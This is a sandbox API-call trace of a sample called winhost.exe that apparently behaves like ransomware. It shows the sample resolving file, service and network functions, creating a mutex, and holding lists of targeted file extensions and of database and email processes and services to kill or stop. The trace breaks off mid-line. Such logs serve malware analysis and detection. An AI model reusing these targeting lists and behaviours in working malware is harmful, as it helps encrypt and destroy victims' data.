# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 27.03.2020 16:59:07.644 Process: id = "1" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe" page_root = "0x42c7d000" os_pid = "0xb80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb7c [0040.363] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0040.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameA") returned 0x76d5b6e0 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="OpenMutexW") returned 0x76d45151 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0040.365] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiW") returned 0x76d5d5cd [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiA") returned 0x76d43e8e [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="ReleaseMutex") returned 0x76d4111e [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x76d44173 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0040.366] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringA") returned 0x76d43c5a [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="SystemTimeToFileTime") returned 0x76d45a7e [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0040.367] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0040.367] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0046.493] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0046.494] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0046.494] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0046.494] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0046.494] GetProcAddress (hModule=0x77710000, lpProcName="EnumDependentServicesW") returned 0x77711e3a [0046.494] GetProcAddress (hModule=0x77710000, lpProcName="EnumServicesStatusExW") returned 0x7771b466 [0046.494] LoadLibraryA (lpLibFileName="user32.dll") returned 0x77130000 [0050.061] GetProcAddress (hModule=0x77130000, lpProcName="SystemParametersInfoW") returned 0x771490d3 [0050.061] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x759d0000 [0055.930] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0055.930] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c40000 [0055.930] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0055.930] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x75660000 [0056.100] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0056.100] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0056.100] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0056.100] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77230000 [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="WSAStartup") returned 0x77233ab2 [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="socket") returned 0x77233eb8 [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="send") returned 0x77236f01 [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="recv") returned 0x77236b0e [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="connect") returned 0x77236bdd [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="closesocket") returned 0x77233918 [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="gethostbyname") returned 0x77247673 [0057.500] GetProcAddress (hModule=0x77230000, lpProcName="inet_addr") returned 0x7723311b [0057.501] GetProcAddress (hModule=0x77230000, lpProcName="ntohl") returned 0x77232d57 [0057.501] GetProcAddress (hModule=0x77230000, lpProcName="htonl") returned 0x77232d57 [0057.501] GetProcAddress (hModule=0x77230000, lpProcName="htons") returned 0x77232d8b [0057.501] GetProcessHeap () returned 0x4b0000 [0057.503] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c40d0 [0057.503] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=17745975102) returned 1 [0057.503] GetTickCount () returned 0x1145754 [0057.503] GetCurrentProcessId () returned 0xb80 [0057.504] GetTickCount () returned 0x1145754 [0057.504] GetTickCount () returned 0x1145754 [0057.504] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c40f8 [0057.504] GetVersion () returned 0x1db10106 [0057.504] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b36b8 [0057.504] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0bd8 [0057.504] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0bd8, Size=0x20) returned 0x4c4148 [0057.504] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4148, Size=0x40) returned 0x4c46b8 [0057.504] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4c4908 [0057.505] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_38R306A") returned 0x0 [0057.505] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_38R306A") returned 0x84 [0057.506] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b36b8 | out: hHeap=0x4b0000) returned 1 [0057.506] lstrlenW (lpString="Global\\syncronize_") returned 18 [0057.506] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c46b8 | out: hHeap=0x4b0000) returned 1 [0057.506] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b36b8 [0057.506] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0bd8 [0057.506] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0bd8, Size=0x20) returned 0x4c4148 [0057.506] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4148, Size=0x40) returned 0x4c46b8 [0057.506] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4d4910 [0057.507] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_38R306U") returned 0x0 [0057.507] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_38R306U") returned 0x88 [0057.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b36b8 | out: hHeap=0x4b0000) returned 1 [0057.507] lstrlenW (lpString="Global\\syncronize_") returned 18 [0057.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c46b8 | out: hHeap=0x4b0000) returned 1 [0057.507] GetVersion () returned 0x1db10106 [0057.507] GetCurrentProcess () returned 0xffffffff [0057.507] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0057.507] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0057.507] CloseHandle (hObject=0x8c) returned 1 [0057.507] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0057.508] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4b36b8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0bd8 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0bd8, Size=0x20) returned 0x4c4148 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4148, Size=0x40) returned 0x4c46b8 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c46b8, Size=0x80) returned 0x4c46b8 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c46b8, Size=0x100) returned 0x4c46b8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x34) returned 0x4c47c0 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c07c8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c07d8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c07e8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0bd8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4800 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0bf0 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4800, Size=0x8) returned 0x4c4800 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0c08 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4800, Size=0x10) returned 0x4c4800 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c20 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c38 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4800, Size=0x20) returned 0x4c4800 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0c50 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c68 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07c8, Size=0x8) returned 0x4c07c8 [0057.508] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07d8, Size=0x8) returned 0x4c07d8 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4828 [0057.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0c80 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4838 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0c98 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x8) returned 0x4c4838 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4930 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x10) returned 0x4c4838 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4948 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4850 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x20) returned 0x4c4860 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07c8, Size=0x10) returned 0x4c4838 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07d8, Size=0x10) returned 0x4c4888 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c07c8 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4960 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c07d8 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4978 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c07d8, Size=0x8) returned 0x4c07d8 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c48a0 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4990 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c48b0 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e49a8 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c48b0, Size=0x8) returned 0x4c48b0 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x20) returned 0x4e4d18 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4888, Size=0x20) returned 0x4e4d40 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4888 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e49c0 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4838 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e49d8 [0057.509] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x8) returned 0x4c4838 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e4d68 [0057.509] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e4d88 [0057.510] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0057.510] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c46b8 | out: hHeap=0x4b0000) returned 1 [0057.510] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0057.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e49f0 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e49f0, Size=0x20) returned 0x4c4350 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4350, Size=0x40) returned 0x4c4710 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x80) returned 0x4c4710 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x100) returned 0x4e5060 [0057.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e49f0 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e49f0, Size=0x20) returned 0x4c4350 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4350, Size=0x40) returned 0x4c4710 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x80) returned 0x4c4710 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x100) returned 0x4e5168 [0057.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e49f0 [0057.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4710 [0057.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a08 [0057.528] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x8) returned 0x4c4710 [0057.528] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c4720 [0057.529] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x10) returned 0x4c4740 [0057.529] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c4758 [0057.529] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4c4350 [0057.529] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4740, Size=0x20) returned 0x4c4778 [0057.529] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4c4378 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4c47a0 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4c43a0 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4a20 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4710 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4e5270 [0057.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x8) returned 0x4c4710 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4e52b8 [0057.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4710, Size=0x10) returned 0x4c4740 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e5300 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e5320 [0057.530] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4740, Size=0x20) returned 0x4e5340 [0057.530] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4e5368 [0057.530] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0057.530] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5060 | out: hHeap=0x4b0000) returned 1 [0057.530] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0057.530] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5168 | out: hHeap=0x4b0000) returned 1 [0057.530] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e58e8 [0057.537] EnumServicesStatusExW (in: hSCManager=0x4e58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0057.539] GetLastError () returned 0xea [0057.539] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x4e91e8 [0057.539] EnumServicesStatusExW (in: hSCManager=0x4e58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e91e8, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e91e8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0057.541] CloseServiceHandle (hSCObject=0x4e58e8) returned 1 [0057.548] lstrlenW (lpString="Appinfo") returned 7 [0057.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.548] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.549] lstrlenW (lpString="AudioSrv") returned 8 [0057.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.549] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.549] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.549] lstrlenW (lpString="BFE") returned 3 [0057.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.549] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.549] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.549] lstrlenW (lpString="CryptSvc") returned 8 [0057.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.549] 